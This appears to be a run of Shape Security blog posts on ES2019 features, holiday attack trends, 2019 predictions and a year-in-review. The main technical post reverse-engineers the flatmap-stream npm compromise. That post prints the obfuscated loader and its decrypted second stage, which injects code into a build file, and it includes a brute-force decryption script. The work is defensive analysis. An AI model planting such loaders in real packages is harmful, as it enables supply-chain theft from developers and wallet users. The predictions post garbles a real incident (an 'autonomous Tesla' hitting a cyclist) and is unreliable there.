ES2019 features coming to JavaScript (starring us!)

Shape Security has been contributing actively to TC39 and other standards bodies for the past 4 years but this year is special for us. A significant portion of the features coming to JavaScript as part of the 2019 update are from Shape Security engineers! Shape contributes to standards bodies to ensure new features are added while taking into account evolving security implications. Anything Shape contributes outside of this broad goal is because we believe the web platform is the greatest platform ever made and we want to help it grow even better.

Thanks to everyone who contributes to TC39 and thank you Michael Ficarra (@smooshMap), Tim Disney (@disnet), and Kevin Gibbons (@bakkoting) for representing Shape.

TL;DR

The 2019 update includes quality-of-life updates to JavaScript natives, and standardizes undefined or inconsistent behavior.

Buffed: String, Array, Object, Symbol, JSON

Nerfed: Try/Catch

Adjusted: Array.prototype.sort, Function.prototype.toString

Native API additions

Array.prototype.flat & .flatMap

> [ [1], [1, 2], [1, [2, [3] ] ] ].flat();
< [1, 1, 2, 1, [2, [3]]]

> [ [1], [1, 2], [1, [2, [3] ] ] ].flat(3);
< [1, 1, 2, 1, 2, 3]

The Array prototype methods flat and flatMap got unexpected attention this year, not because of their implementation, but because Shape Security engineer Michael Ficarra opened a gag pull request renaming the original method flatten to smoosh thus starting SmooshGate. Michael opened the pull request as a joke after long TC39 meetings on the topic and it ended up giving the average developer great insight into how TC39 works and under how big of a microscope proposals are placed under. When considering new features to add to JavaScript, the TC39 committee has to take two decades of existing websites and applications into account to ensure no new feature unexpectedly breaks them.

After FireFox shipped flatten in the nightly releases, users found that websites using the MooTools framework were breaking. MooTools had added flatten to the Array prototype ten years ago and now any site using MooTools risks breaking if the method changes. Since MooTools usage has declined in favor of more modern frameworks, many sites using the library are sites which are no longer actively maintained — they will not be updated even if MooTools released an updated version. SmooshGate ended up surfacing serious discussions as to what degree existing websites affect future and present innovation.

The committee concluded backwards compatibility was of higher importance and renamed the method flatten to flat. It’s a long, complicated story with an anticlimactic ending but that could be said of all specification work.

Drama aside, flat operates on an array and “flattens” nested arrays within to a configurable depth. flatMap operates similarly to the map method by applying a function to each element in the list and then calling flat() on the resulting list.

Object.fromEntries

let obj = { a: 1, b: 2 };
let entries = Object.entries(obj);
let newObj = Object.fromEntries(entries);

Object.fromEntries is a complement to the Object.entries method which allows a developer to more succinctly translate objects from one another. Object.entries takes a regular JavaScript object and returns a list of [key, value] pairs, Object.fromEntries enables the reverse.

String.prototype.trimStart & .trimEnd

> '   hello world   '.trimStart()
< "hello world   "

> '   hello world   '.trimEnd()
< "   hello world"

Major JavaScript engines had implementations of String.prototype.trimLeft() and String.prototype.trimRight() but the methods lacked a true definition in the spec. This proposal standardizes the names as trimStart and trimEnd, aligning terminology with padStart and padEnd, and aliases trimLeft and trimRight to the respective function.

Symbol.prototype.description

> let mySymbol = Symbol('my description');
< undefined

> mySymbol.description
< 'my description'

Symbol.prototype.description is an accessor for the unexposed description property. Before this addition, the only way to access the description passed into the constructor was by converting the Symbol to a string via toString() and there was no intuitive way to differentiate between Symbol() and Symbol(‘’).

Spec & Language Cleanup

Try/Catch optional binding

try {
  throw new Error();
} catch {
  console.log('I have no error')
}

Until this proposal, omitting the binding on catch resulted in an error when parsing the JavaScript source text. This resulted in developers putting in a dummy binding despite them being unnecessary and unused. This is another quality-of-life addition allowing developers to be more intentional when they ignore errors, improving the developer experience and reducing cognitive overhead for future maintainers.

Make ECMAScript a proper superset of JSON

JSON.parse describes JSON as a subset of JavaScript despite valid JSON including Unicode line separators and paragraph separators not being valid JavaScript. This proposal modifies the ECMAScript specification to allow those characters in string literals. The majority of developers will never encounter this usage but it reduces edge case handling for developers dealing with the go-between and generation of JavaScript and JSON. Now you can insert any valid JSON into a JavaScript program without accounting for edge cases in a preprocessing stage.

Well-formed JSON.stringify

> JSON.stringify('\uD834\uDF06')
< "\"𝌆\""

> JSON.stringify('\uDF06\uD834')
< "\"\\udf06\\ud834\""

This proposal rectifies inconsistencies in description and behavior for JSON.stringify. The ECMAScript spec describes JSON.stringify as returning a UTF-16 encoded JSON format string but can return values that are invalid UTF-16 and are unrepresentable in UTF-8 (specifically surrogates in the Unicode range U+D800U+DFFF). The accepted resolution is, when encoding lone surrogates, to return the code point as a Unicode escape sequence.

Stable Array.prototype.sort()

This is a change to the spec reflecting the behavior standardized by practice in major JavaScript engines. Array.prototype.sort is now required to be stable — values comparing as equal stay in their original order.

Revised Function.prototype.toString()

The proposal to revise Function.prototype.toString has been a work-in-progress for over 3 years and was another proposed and championed by Michael Ficarra due to problems and inconsistencies with the existing spec. This revision clarifies and standardizes what source text toString() should return or generate for functions defined in all the different forms. For functions created from parsed ECMAScript source, toString() will preserve the whole source text including whitespace, comments, everything.

Onward and upward

ES2015 was a big step for JavaScript with massive new changes and, because of the problems associated with a large change set, the TC39 members agreed it is more sustainable to produce smaller, yearly updates. Most of the features above are already implemented in major JavaScript engines and can be used today.

If you are interested in reading more TC39 proposals, including dozens which are in early stages, the committee makes its work available publicly on Github.com. Take a look at some of the more interesting proposals like the pipeline operator and optional chaining.

Lessons Learned from 2018 Holiday Attacks: No Rest for the Wicked

Scrooge would approve—attackers work on Christmas Eve, and now on New Year’s Eve, too

We at Shape Security defend the world’s top banking, retail, and travel websites. And while you might be just getting back to work this first full week of January, our attack forensics teams are finally getting a break, because this holiday season was a busy one. Now that the dust has settled, we’ve analyzed our data to determine how 2018’s online holiday-season shenanigans differ from 2017’s.

During this festive Holiday season, attackers worked through Christmas Eve and Christmas Day. But in a striking change from the previous year, the most sophisticated attackers no longer took a New Year’s Eve (NYE) off. In fact, this year, we saw several intense campaigns that started or peaked on NYE.

The Best Time to Rob a Bank is Christmas Day

No matter what institution they use, most online banking customers have one thing in common: they stop checking their online balances during the December holidays. Turning a blind eye to one’s finances is optimistic human nature; our customers report that legitimate online banking activity often drops as much as 30 to 40 percent during this period.

Financial institutions may not observe the full extent of this change, however, because the drop in legitimate banking activity is overshadowed by an increase in malicious activity. According to our data, in both 2017 and 2018, malicious actors took advantage of the holiday, launching new attacks on or right around Christmas.


Figure 1: A malicious actor waited to launch their attack until Christmas Day itself.

Shape’s Christmas present to the Top 5 US bank, the target in the above graph, was the fact that we didn’t take Christmas Day off, either.

New Year’s Eve is Cancelled (for Professional Criminals)

With some notable exceptions, nearly all attackers took New Year’s Eve off. On that night, attacks aimed at Shape’s customers dropped over 65% overall – and in one case over 99%, We observed this trend across all industries, including retail, travel, financial services, and tech. Perhaps tired from their exertions over Christmas, nearly all attackers put their keyboards away and joined the poor furloughed federal workers on a break for the New Year’s holiday.

“The holiday season now separates the hobbyists from the dedicated professional cybercriminals.”


Figure 2: Reductions in both legitimate consumer traffic and automated attack traffic.

But the sophisticated attackers, the ones who do this for a living, actually used the global holiday for surgical strikes, particularly against banks .

The attack graph below illustrates the trend. The tiny, tiny red bars on the left (they look like a dotted line) show the normal level of traffic on a financial institution’s website.

Figure 3: Attacker launches failed campaign, retools on NYE, gives up on Jan 1

On December 29, malicious actors launched a large attack against the site. Even by spoofing dozens of signals at all levels – network, client and behavioral, they still couldn’t penetrate Shape’s defenses. On New Year’s Eve they retooled, doubling the number of signals that they were spoofing, but that too, failed, and they gave up towards the end of the day.

Why Launch Attacks During the Holidays?

Sophisticated attackers, the ones for whom crime is their day job, know they are playing a chess game that requires human intervention. So they plan their moves according to when organizations are most vulnerable, i.e., when a security team is most likely to be distracted or short-staffed. What are the days that a security operations team is most likely to be away from their desks? Christmas and New Year’s.

Furthermore, because professional criminals are relying on their ill-gotten gains, they are loath to waste resources. Everyone knows that the top banks are the most lucrative targets, yet hardest to crack. So we suspect that’s why FSIs in particular are targeted during the holidays.

The clearest example of this theory comes from the most sophisticated attack group Shape saw in 2018—a bot that mimicked iOS clients (see our 2018 Credential Spill Report, in which we talk about this attack group). They’d previously targeted a top Canadian retailer, a top global food and beverage company, and a Top 10 North American bank, and we had successfully held them off across our entire customer network.

Figure 4: Sophisticated attacker activity on NYE

This group had been lying low for a couple of months, but on NYE they came back with a sneaky, retooled attack when they thought we weren’t watching. But Shape detected the new attack and quickly blocked it. The attacker gave up on New Year’s Day.

It is not clear why only sophisticated attackers worked on New Year’s Eve this year. We suspect they are getting desperate as more and more organizations harden their application defenses against automated fraud and are looking for any type of vulnerability to exploit. In that case, it’s possible we will see this behavioral trend extend to other major holidays in which companies effectively shut down, such as Chinese New Year and Labor Day.

About Shape Security

Shape Security is defining a new future in which excellent cybersecurity not only stops attackers, but also reduces friction for good customers. Shape disrupts the economics of cybercrime by making it too expensive for attackers to commit online fraud, while also enabling enterprises to more easily transact with genuine customers. The Shape platform, covered by 55 patents, was designed to stop the most dangerous application attacks enabled by bots and cybercriminal tools, including credential stuffing (account takeover), fake account creation, and unauthorized aggregation. The world’s leading organizations rely on Shape as their primary line of defense against attacks on their web and mobile applications, including three of the Top 5 US banks, five of the Top 10 global airlines, two of the Top 5 global hotels, and two of the Top 5 US government agencies. Today, the Shape Network defends 1.7 billion user accounts from account takeover and protects 40% of the consumer banking industry. Shape was recognized by the Deloitte Technology Fast 500 as the fastest-growing company in Silicon Valley and was recently inducted into J.P. Morgan Chase’s Hall of Innovation.


Extreme Cybersecurity Predictions for 2019

Prediction blogs are fun but also kind of dangerous because we’re putting in writing educated guesses that may never come true and then we look, um, wrong. Also dangerous because if we’re going to get any airtime at all, we have to really push the boundary of incredulity. So here at Shape, we’ve decided to double down and make some extreme cybersecurity predictions, and then we’ll post this under the corporate account so none of our names are on it. Whoa, did we just say that out loud?

“Baby, when you log in to my heart, are you being fake?” Photo Credit: HBO

Forget the Singularity, Worry About the Inversion

New York Magazine’s “Life in Pixels” column recently featured a cute piece on the Fake Internet. They’re just coming to the realization that a huge number of Internet users are, in fact, fake. The users are really robots (ahem, bots) that are trying to appear like humans—no, not like Westworld, but like normal humans driving a browser or using a mobile app. The article cites engineers at YouTube worrying about when fake users will surpass real users, a moment they call “The Inversion.”  We at Shape are here to tell you that if it hasn’t happened already, it will happen in 2019. We protect the highest-profile web assets in the world, and we regularly see automated traffic north of 90%. For pages like “password-reset.html” it can be 99.95% automated traffic!

Zombie Device Fraud

There are an estimated five million mobile apps on the market, with new ones arriving every day, and an estimated 60 to 90 installed on the average smartphone. We’ve seen how easy it can be for criminals to exploit developer infrastructure to infect mobile apps and steal bitcoins, for instance. But there’s another way criminals can profit from app users without having to sneak malware into their apps—the bad guys can just buy the apps and make them do whatever they want, without users having any idea that they are using malicious software. The economics of the app business—expensive to create and maintain, hard to monetize—mean less than one in 10,000 apps will end up making money, according to Gartner. This glut of apps creates a huge business opportunity for criminals, who are getting creative in the ways they sneak onto our devices. In 2019, we’ll see a rise in a new type of online fraud where criminals purchase mobile apps just to get access to the users. They then can convert app-user activity into illegitimate fraudulent actions by hiding malware underneath the app interface. For example, a user may think he is playing a game, but in reality his clicks and keystrokes are actually doing something else. The user sees that he is hitting balls and scoring points, but behind the scenes he is actually clicking on fake ads or liking social media posts. In effect, criminals are using these purchased mobile apps to create armies of device bots that they then use for massive fraud campaigns.

Robots will Kill Again

Have you seen those YouTubes from Boston Dynamics? The ones where robots that look like headless Doberman pinschers open doors for each other? You extrapolate and imagine them tearing into John Connor and the human resistance inside. They are terrifying. But they’re not the robots we’re thinking of (yet). A gaggle of autonomous vehicle divisions are already driving robot fleets around Silicon Valley. Google’s Weymo and Uber use these robots to deliver people to their next holiday party, and we’ve heard of at least two robot-car companies delivering groceries. Uber already had the misfortune of a traffic fatality when its autonomous Tesla hit a cyclist in Arizona last year. But Uber robots will be back on the road in 2019, competing for miles with Weymo. Combine these fleets with the others, and more victims more can join Robert Williams and Kenji Urada in the “killed-by-robot” hall of fame. Hopefully it won’t be you, dear reader, and hopefully none of these deaths will be caused by remote attackers. Fingers crossed!

Reimagining Behavioral Biometrics

Behavioral biometrics are overhyped today because enterprises lack the frequency of user interactions and types of data needed to create identity profiles of digital users. But in 2019, behavioral analytics will merge with macro biometrics to become truly effective. The market will move to a combination of macro biometrics, like Face ID, and traditional behavioral biometrics, like keyboard behavior and swiping. Apple is ahead of the game with Face ID and has applied for a voice biometrics patent to be used with Siri.

Kim Jong Un as Online Crime Kingpin?

North Korea will become a dominant player in the criminal underground with more frequent and sophisticated financially motivated hacks, rivaling Russian gangs. International sanctions have pushed the country to be more economically resourceful, so it has beefed up its cyber operations.The northern half of the Korean peninsula has been blamed for cyberattacks on banks, via SWIFT transfers, and bitcoin mining, in addition to traditional espionage involving governments, aviation, and other industries. In 2019, cyber attacks originating from groups (allegedly) associated with North Korea will continue to be successful and enforcement remains challenging. And with the recent Marriott breach affecting 500 million Starwood Hotels guests, the theft of passport numbers means nation-states and other attackers have an even more valuable and rare tool at their disposal for financial, tax, and identity fraud.  

All Breaches Aren’t Created Equal

As industries mature, we refine the metrics we use. In 2019 we’ll see enterprises change how they approach data breaches, moving beyond identifying size and scope, focusing instead on potency and longevity. Breach impact will be measured by the overall quality and long-term value of the compromised credentials. For instance, do these assets unlock one account or one hundred accounts? Most recently we’ve seen the Starwood data heist become one of the biggest breaches of its kind, largely due to the bevy of personal data exposed. In this case, since the unauthorized access dates back four years, we can assume this data has already fueled and will continue to fuel serious acts of financial fraud, tax fraud, and identity theft. As hacker tools become more sophisticated and spills more frequent, businesses can’t afford to ignore downstream breaches that result from people reusing the same passwords on multiple accounts. In reality, today’s breaches are fueling a complex and interconnected cybercriminal economy. In 2019, expect businesses to join forces and adopt collective defense strategies to keep one breach from turning into a thousand.

The Future Looks, Um, Futuristic!

These are our extreme predictions for 2019. Will they come true? Some of them, probably. We hope the robots don’t actually kill people, but we’re pretty sure that the Inversion (where automated traffic surpasses human traffic) is a sure bet, if it hasn’t happened already.

Where do you want to be when the Inversion happens?
Working with us, at Shape!

Reverse Engineering JS by example

flatmap-stream payload A

In November, the npm package event-stream was exploited via a malicious dependency, flatmap-stream. The whole ordeal was written up here and the focus of this post is to use it as a case study for reverse engineering JavaScript. The 3 payloads associated with flatmap-stream are simple enough to be easy to write about and complex enough to be interesting. While it is not critical to understand the backstory of this incident in order to understand this post, I will be making assumptions that might not be obvious if you aren’t somewhat familiar with the details.

Reverse engineering most JavaScript is more straightforward than binary executables you may run on your desktop OS – after all, the source is right in front of you – but JavaScript code that is designed to be difficult to understand often goes through a few passes of obfuscation in order to obscure its intent. Some of this obfuscation comes from what is called “minification” which is the process of reducing the overall bytecount of your source as much as possible for space saving purposes. This involves shortening of variables to single character identifiers and translating expressions like true to something shorter but equivalent like !0. Minification is mostly unique to JavaScript’s ecosystem because of its web browser origins and is occasionally seen in node packages due to a reuse of tools and is not intended to be a security measure. For basic reversal of common minification and obfuscation techniques, check out Shape’s unminify tool. Dedicated obfuscation passes may come from tools designed to obfuscate or are performed manually by the developer

The first step is to get your hand on the isolated source for analysis. The flatmap-stream package was crafted specifically to look innocent except for a malicious payload included in only one version of the package, version 0.1.1. You can quickly see the changes to the source by diffing version 0.1.2 and version 0.1.1 or even just alternating between the urls in two tabs. For the rest of the post we’ll be referring to the appended source as payload A. Below is the formatted source of payload A.

! function() {
    try {
        var r = require,
            t = process;

        function e(r) {
            return Buffer.from(r, "hex").toString()
        }
        var n = r(e("2e2f746573742f64617461")),
            o = t[e(n[3])][e(n[4])];
        if (!o) return;
        var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
            a = u.update(n[0], e(n[8]), e(n[9]));
        a += u.final(e(n[9]));
        var f = new module.constructor;
        f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
    } catch (r) {}
}();

First things first: NEVER RUN MALICIOUS CODE (except in insulated environments). I’ve written my own tools to help me refactor code dynamically using the Shift suite of parsers and JavaScript transformers but you can use an IDE like Visual Studio Code for the purposes of following along with this post.

When reverse engineering JavaScript it is valuable to keep the mental juggling to a minimum. This means getting rid of any expressions or statements that don’t add immediate value and also reversing the DRYness of any code that has been optimized automatically or manually. Since we’re statically analyzing the JavaScript and tracking execution in our heads, the deeper your mental stack grows the more likely it is you’ll get lost.

One of the simplest things you can do is unminify variables that are being assigned global properties like require and process, like on lines 3 and 4.

var r = require,
    p = process;

You can do this with any IDE that offers refactoring capabilities (usually by pressing “F2” over an identifier you want to rename). After that, we see a function definition, e, which appears to simply decode a hex string.

function e(r) {
    return Buffer.from(r, "hex").toString()
}

The first interesting line of code appears to import a file which comes from the result of the function e decoding the string "2e2f746573742f64617461"

var n = require(e("2e2f746573742f64617461")),

It is extremely common for deliberately obfuscated JavaScript to obscure any literal string value so that anyone who takes a passing glance won’t get alerted by particularly ominous strings or properties in clear view. Most developers recognize this is a very low hurdle so you’ll often find trivially undoable encoding in place and that’s no different here. The e function simply reverses hex strings and you can do that manually via an online tool or with your own convenience function. Even if you’re confident that you understand that the e function is doing, it’s still a good idea to not run it (even if you extract it) with input found in a malicious file because you have no guarantees that the attacker hasn’t found a security vulnerability which is triggered by the data.

After reversing that string we see that the script is including a data file, './test/data' which is located in the distributed npm package.

module.exports = [
  "75d4c87f3[...large entry cut...]68ecaa6629",
  "db67fdbfc[...large entry cut...]349b18bc6e1",
  "63727970746f",
  "656e76",
  "6e706d5f7061636b6167655f6465736372697074696f6e",
  "616573323536",
  "6372656174654465636970686572",
  "5f636f6d70696c65",
  "686578",
  "75746638"
];

After renaming n to data and deobfuscating calls to e(n[2]) to e(n[9]) we start to see a better picture of what we’re dealing with here.

(function () {
  try {
    var data = require("./test/data");
    var o = process["env"]["npm_package_description"];
    var u = require("crypto")["createDecipher"]("aes256", o);
    var a = u.update(data[0], "hex", "utf8");
    a += u.final("utf8");
    var f = new module.constructor;
    f.paths = module.paths;
    f["_compile"](a, "");
    f.exports(data[1]);
  } catch (r) {}
}());

It’s also easy to see why these strings were hidden, finding any references to decryption in a simple flatmap library would be a dead giveaway that something is very wrong.

From here we see the script is importing node.js’s “crypto” library and, after looking up the APIs, we find that the second argument to createDecipher, o here, is the password used to decrypt. Now we can rename that argument and the following return values to sensible names based on the API. Every time we find a new piece of the puzzle it’s important to immortalize it via a refactor or a comment, even if it’s a renamed variable that seems trivial. It’s very common when diving through foreign code for hours that you lose your place, get distracted, or need to backtrack because of some erroneous refactor. Using git to save checkpoints during a refactor is valuable as well but I’ll leave that decision to you. The code now looks as follows, with the e function deleted because it is no longer used along with the statement if (!o) {... because it doesn’t add value to the analysis.

(function () {
  try {
    var data = require("./test/data");
    var password = process["env"]["npm_package_description"];
    var decipher = require("crypto")["createDecipher"]("aes256", password);
    var decrypted = decipher.update(data[0], "hex", "utf8");
    decrypted += decipher.final("utf8");
    var newModuleInstance = new module.constructor;
    newModuleInstance.paths = module.paths;
    newModuleInstance["_compile"](decrypted, "");
    newModuleInstance.exports(data[1]);
  } catch (r) {}
}());

You’ll also notice I’ve renamed f to newModuleInstance. With code this short it’s not critical but with code that might be hundreds of lines long it’s important for everything to be as clear as possible.

Now payload A is largely deobfuscated and we can walk through it to understand what it does.

Line 3 imports our external data.

var data = require("./test/data");

Line 4 grabs a password out of the environment. process.env allows you to access variables from within a node script and npm_package_description is a variables that npm, node’s package manager, sets when you run scripts defined in a package.json file.

var password = process["env"]["npm_package_description"];

Line 5 creates a decipher instance with the value from npm_package_description as the password. This means that the encrypted payload can only be decrypted when this script is executed via npm and is being executed for a particular project that has, in its package.json, a specific description field. That’s going to be tough.

var decipher = require("crypto")["createDecipher"]("aes256", password);

Lines 6 and 7 decrypt the first element in our external file and store it in the variable “decrypted

var decrypted = decipher.update(data[0], "hex", "utf8");
decrypted += decipher.final("utf8");

Lines 8-11 create a new module and then feeds the decrypted data into the undocumented method _compile. This module then exports the second element of our external data file. module.exports is node’s mechanism of exposing data from one module to another, so newModuleInstance.exports(data[1]) is exposing a second encrypted payload found in our external data file.

var newModuleInstance = new module.constructor;
newModuleInstance.paths = module.paths;
newModuleInstance["_compile"](decrypted, "");
newModuleInstance.exports(data[1]);

At this point we have encrypted data that is only decryptable with a password found in a package.json somewhere and whose decrypted data gets fed into the _compile method. Now we are left with a problem: how do you decrypt data where the password is unknown? This is a non-trivial question, if it were easy to brute force aes256 encryption then we’d have more problems than an npm package being taken over. Luckily we’re not dealing with a completely unknown set of possible passwords, just any string that happened to be entered into a package.json somewhere. package.json files originated as the file format for npm package metadata so we may as well start at the official npm registry. Luckily there’s an npm package that gives us a stream of all package metadata.

There’s no guarantee our target file is located in an npm package, many non-npm projects use package.json to store configuration for node-based tools, and package.json descriptions can change from version to version but it’s a good place to start. It is possible to decrypt this payload with multiple keys resulting in garbled gibberish so we need some way of validating our decrypted payload during this brute forcing process. Since we’re dealing something that is fed to Module.prototype._compile which feeds to vm.runInThisContext we can reasonably assume that the output is JavaScript and we can use any number of JavaScript parsers to validate the data. If our password fails or if it succeeds but our parser throws an error then we need to move to the next package.json. Conveniently, Shape Security has built its own set of JavaScript parsers for use in JavaScript and Java environments. The brute force script used is here:

const crypto = require('crypto');
const registry = require('all-the-packages')
const data = require('./test-data');
const { parseScript } = require('shift-parser');

let num = 0;
const start = Date.now();
registry
  .on('package', function (pkg) {
    num++;
    const password = pkg.description;
    const decrypted = decrypt(data[0], password);
    if (decrypted && parse(decrypted)) {
      console.log(`Password is '${password}' from ${pkg.name}@${pkg.version}`);
    }
  })
  .on('end', function () {
    const end = Date.now();
    console.log(`Done. Processed ${num} package's metadata in ${(end - start) / 1000} seconds.`);
  })

function decrypt(data, password) {
  try {
    const decipher = crypto.createDecipher("aes256", password);
    let decrypted = decipher.update(data, "hex", "utf8");
    decrypted += decipher.final("utf8");
    return decrypted;
  } catch (e) {
    return false;
  }
}

function parse(input) {
  try { 
    parseScript(input);
    return true;
  } catch(e) {
    return false;
  }
}

After running this for 92.1 seconds and processing 740543 packages we come up with our password – “A Secure Bitcoin Wallet” – which successfully decodes the payload included below:

/*@@*/
module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
        })
    } catch (e) {}
};

This was lucky. What could have been a monstrous brute forcing problem ended up needing less than a million iterations. The affected package with the key in question ended up being the bitcoin wallet Copay’s client application. The next two payloads dive deeper into the application itself and, given the target application is centered around storing bitcoins, you can probably guess where this might be going.

If you find topics like this interesting and want to read an analysis for the other two payloads or future attacks, then be sure to “like” this post or let me know on twitter at @jsoverson.

The Best of Shape Security 2018

“Hold on there, critics!” – Photo Credit: Warner Brothers

Focus on the Good Things

There are already too many blogs focusing on the bad things that happened this year. Focusing on the bad things in life makes you miss the good things. For example, reading through the reviews of all 61 “worst movies of 2018took us would take you 96 minutes (hint: the worst is not Rampage; that movie was awesome, and so true to the game’s aesthetic). And you don’t have to read “The Worst Rappers of 2018,” because you already know XXXTentacion and Post Malone are going to be on it. (Post, if you read this, we’re just kidding; call us! We left a Glock in your car, we think.) Or, the worst cryptocurrency of 2018 (answer: all of them).

Instead, let’s focus on positive things, like the best of Shape Security in 2018. What kind of things? You know, open-source software, funny moments, tech epiphanies, and playful microsites. Public stuff! But enough topical preamblelet’s just show you!

January – Unminify JavaScript Tool

https://github.com/shapesecurity/unminify

You might not have known this until now, but Shape’s architects are some of the smartest JavaScript experts in the world. Like, seriously, these are some of the guys who work on the JS standards. One fellow’s brain is so big he has to use an external brain pack. These genuses generously contribute to the Shape Security GitHub. Most of their tools are for solving problems beyond the ken of us mere mortals in marketing, but not this one.  

Unminify is “a little project to undo several of the horrible things JavaScript build tools will do to JavaScript.” Suppose a bunch of super-gnarly malicious JavaScript is scraping your site, but you can’t tell because it’s obfuscated and minified. Run it through Unminify, which will expand the JavaScript into something right out of Strunk & White’s The Elements of Style.

Warning: Check out the hilarious “safety” levels (below), which range from “useless” to “wildly -unsafe.” Come to think of it, those adjectives describe some of us at Shape marketing!

Installation:

npm install -g unminify

CLI Usage:

uniminify /path/to/file.js
  • --safety may be given to enable/disable transformations based on the user’s required safety guarantees. Refer to the safety levels documentation for more details. The value of --safety may be one of
    • useless
    • safe (default)
    • mostly-safe
    • unsafe
    • wildly-unsafe
  • --additional-transform may be given zero or more times, each followed by a path to a module providing an AST transform; the function signals that the transformation was not applied by returning its input

You can also use the unminify API. Lovely! Merry Christmas!

May: How Starbucks Combats Account Takeover

“When you don’t know what to give someone for Christmas, you give them a Starbucks gift card, right?” — Mike Hughes, Starbucks. LOL, guilty as charged right here. One Christmas, we gave out only Starbucks gift cards. The sheer global ubiquity of the green mermaid logo ensures that its gift card program will remain one of the largest, if not the largest, in the world. In 2013 and 2014, Starbucks was one of the most targeted online portals for gift card fraud. They turned to Shape Security, and they were blown away! Don’t believe us?

Starbucks: Why traditional security methods don’t work for ATO

In this sobering webinar, our co-founder and CEO, Derek Smith, draws the story out of Mike Hughes, Starbucks Director of Information Security.

This was the first time we ever got “official” with a customer—you know, like Facebook Official. If you’re looking for the SparkNotes on the video, read this blog we wrote earlier (while sitting in a Starbucks!).

July: 2018 Credential Spill Report

In July we released our marquee communique, the second annual Credential Spill Report. Shape has a unique perspective on credential spills and credential stuffing, because we see more re-used credentials than any other company on the planet.

Credential Stuffing Attacks on a Top 5 US Bank

The report is full of titillating details about 2018’s automated attackers. For example, the chart above shows five different attack groups hitting a Top 5 US bank at the same time. We actually split and track each group and give them cute names. The “Smooth Criminals” had the best and most unique credential list. Smooth Criminals, if you’re reading this, we want you to know that we’ve put you on Santa’s naughty list.

August: Blackfish Inner Workings, Explained!

In August, we answered the questions “What is Blackfish?” and “How does it work?” in our blog entry, “Look, Ma, No Passwords!” Spoilers: Blackfish uses a Bloom filter to store a set of leaked credentials, ensuring we don’t actually expose all those individual credentials again. Wait, what?

The celebrated 2017 NIST Digital Identity Guidelines suggest that organization check incoming credentials against a corpus of known already-leaked credentials. Sounds sensible, right? You’re nodding your head. Except, where is this known already-leaked credential list, and how are you going to check it? You could hire security researchers to build Pastebin scrapers and download breach lists and pay some shady hackers for their 1.4 billion leaked creds and jam them all into a database. And then try to secure that database so it doesn’t get leaked.

Or, you could just buy Blackfish, because we do all that for you, and we secure the database in such a way that if it’s compromised, no credentials leak. Plus, we’ve got credentials that aren’t even out on the dark web yet. It’s a total no-brainer. It even says that on the packaging. “Blackfish: No-brainer edition.”

September: Two FBI Agents Break It Down

Trends in Online Fraud from the FBI and Shape

M.K. Palmore, Head of the FBI’s San Francisco Cyber Branch, and our very own Dan Woods, VP of Shape Intelligence, who is himself a former FBI Special Agent, teamed up to fight crime and accidentally defenestrate an entire brigade of social-justice warriors. Okay, we made that last part up. But really, these are two of the finest speakers in the industry, and you’ll want to hear what they have to say about the best practices for fighting cybercriminals and financial fraud.

November: Exploiting Developer Infrastructure is Ridiculously Easy

Written by Shape’s own Jarrod S. Overson (“J-Rod,” as he known in the hood) on the beautiful Medium platform, this fascinating breakdown tells the story of a shadowy attacker bent on draining the last dregs from the bottom of the Bitcoin barrel. By exploiting the current, far-too-trusting developer infrastructure, the attacker put in place an encrypted payload designed to compromise a particular set of Bitcoin wallets. If you’re a JS developer, designer, HTML code monkey, or DevOps engineer, you’ll want to read J-Rod’s excellent analysis.

November: #1 Fastest Growing Company in Silicon Valley

In November, Deloitte recognized Shape as the third-fastest growing company in the United States, and the number one fastest in Silicon Valley, in their Deloitte Technology Fast 500 List. Some companies are excited about their 20% annual revenue growth. Shape grew 23,576 percent over the past three years. That’s a huge number! Millennials won’t understand this reference, but if you wrote the number on a check it would look like twenty-three thousand, five hundred and seventy six. Also, it would be in cursive, which they couldn’t understand either.

Actually, we shouldn’t mock Millennials, because a regiment of brilliant Millennials work at Shape, and we’re hiring more all the time. But not everyone we hire is young, or brilliant, or good looking. Take, for example, this guy:

December: The Hiring of B-list Cybercelebrity David Holmes

California’s recent ban on discrimination against the mentally unstable has finally allowed Shape Security to lure David Holmes from his padded cell in northern Colorado. Rumor has it that for a signing bonus he was promised access to the amazing catered food at Shape’s Silicon Valley HQ, plus a generous regimen of mood stabilizers. He is expected to pen blog listicles, research food journalism, and forget his corporate password 20 times over the next two years.

December: Shape and Okta Get Facebook Official

In December we unveiled our partnership with Okta. Okta is all about logins and authentication and authorization. That makes them a perfect partner for Shape, as we’ll provide Okta’s customers our frictionless defense against bots, credential stuffing attacks, and fake account registrations.

The Okta and Shape partnership extends across all major touch points: web, mobile, and APIs. To learn more about using Shape to enhance your Okta SSO and customer portals, check out Okta’s Shape page, where they have an Okta+Shape datasheet!

December: JPMC Inducts Shape Into Its Hall of Innovation

Once a year, the JPMorgan Chase Hall of Innovation recognizes select emerging technology companies for their innovation, business value, and disruptive nature. This year, the award was presented to Shape at the J.P. Morgan Technology Innovation Symposium, held in Menlo Park.

Rohan Amin, the CISO at JPMC, extolled: “We were impressed by Shape’s innovative approach to help enable a high-security, low-friction user experience… and we appreciate our partnership with them.”

Here’s to Another Great Year!

The Hall of Fame induction was a humbling moment, and one that seems like a great way to look back on the year. Frivolity aside, we hope you can see that it has indeed been a fantastic year at Shape Security, and we have every reason to believe that 2019 will be even better!

[Editor’s Note: If you were really paying attention, you probably noticed that the authors violated essentially all of the tenets of The Elements of Style, not to mention good taste, in this article, and even misspelled the word “geniuses,” which speaks volumes about their competence.]


Better Together: Partnering with Okta

